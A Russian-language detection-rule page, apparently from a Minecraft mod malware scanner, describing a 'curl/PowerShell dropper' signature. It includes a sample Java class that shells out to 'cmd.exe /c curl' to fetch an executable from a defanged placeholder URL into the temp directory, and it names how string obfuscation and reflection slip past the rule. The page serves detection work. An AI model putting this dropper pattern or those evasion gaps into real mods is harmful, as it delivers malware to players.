Command-Line Curl / PowerShell Dropper
Влияние на механику Minecraft
Модификации Minecraft исполняются в пользовательском пространстве виртуальной машины Java. Отдельные сервисные утилиты или лаунчеры могут запускать внешние вспомогательные скрипты, однако модификациям игрового процесса обычно не требуется вызывать командные интерпретаторы ОС для скачивания файлов системными утилитами.
Cmd_Curl_Dropper нацелен на шаблоны кода, в которых класс содержит ссылки на механизмы запуска процессов (ProcessBuilder, Runtime) совместно с именами командных оболочек и утилит скачивания. В сценариях вредоносного ПО этот прием может использоваться для передачи задач загрузки и выполнения нативным системным утилитам: вызываемая командная строка запускает curl, wget, certutil или bitsadmin, скачивая сторонний исполняемый файл в каталог пользователя и запуская его через ProcessBuilder.start() или Runtime.getRuntime().exec() автономно от клиента игры.
Успешность запуска зависит от настроек безопасности системы. Если политики исполнения скриптов, антивирусные модули или контроль учетных записей (UAC) блокируют порождение дочерних процессов процессом javaw.exe, запуск завершится ошибкой.
Анализируемые функции и API
ConstantPool CONSTANT_Utf8 (Shell / Downloader Strings)
Строковые литералы командных оболочек (cmd, powershell, /bin/sh) и системных утилит скачивания (curl, wget, certutil, bitsadmin).
ClassRef java/lang/ProcessBuilder, java/lang/Runtime
Ссылки в байткоде на классы запуска внешних системных процессов.
Реализация в моде (Исходный код)
package com.example.dropper;
import java.io.File;
import java.util.List;
public class ShellDownloadLauncher {
public static void downloadAndRun() {
try {
String remoteUrl = "hxxps://example[.]com/payload.exe";
File outputFile = new File(System.getProperty("java.io.tmpdir"), "helper_update.exe");
List<String> command = List.of(
"cmd.exe",
"/c",
"curl",
"-s",
"-L",
remoteUrl,
"-o",
outputFile.getAbsolutePath()
);
ProcessBuilder builder = new ProcessBuilder(command);
Process process = builder.start();
process.waitFor();
} catch (Exception ignored) {
// Обработка ошибок при блокировке системными средствами
}
}
}
Сигнатура байткода и статический детект
Детектор проверяет константы класса и ссылки в байткоде на одновременное выполнение трех условий на уровне класса:
- Наличие строковых констант, соответствующих командным оболочкам ОС:
cmd.exe,powershell.exe,/bin/shили/bin/bash. - Наличие строковых констант утилит скачивания файлов:
curl,wget,certutilилиbitsadmin. - Ссылки в байткоде на классы запуска процессов:
java/lang/ProcessBuilder,java/lang/Processилиjava/lang/Runtime.
Сигнатура срабатывает только при одновременном наличии всех трех признаков в одном классе. Главное ограничение статического анализа заключается в поиске явных литералов: динамическая сборка строк, запуск через рефлексию или передача зашифрованных аргументов не фиксируются данным правилом.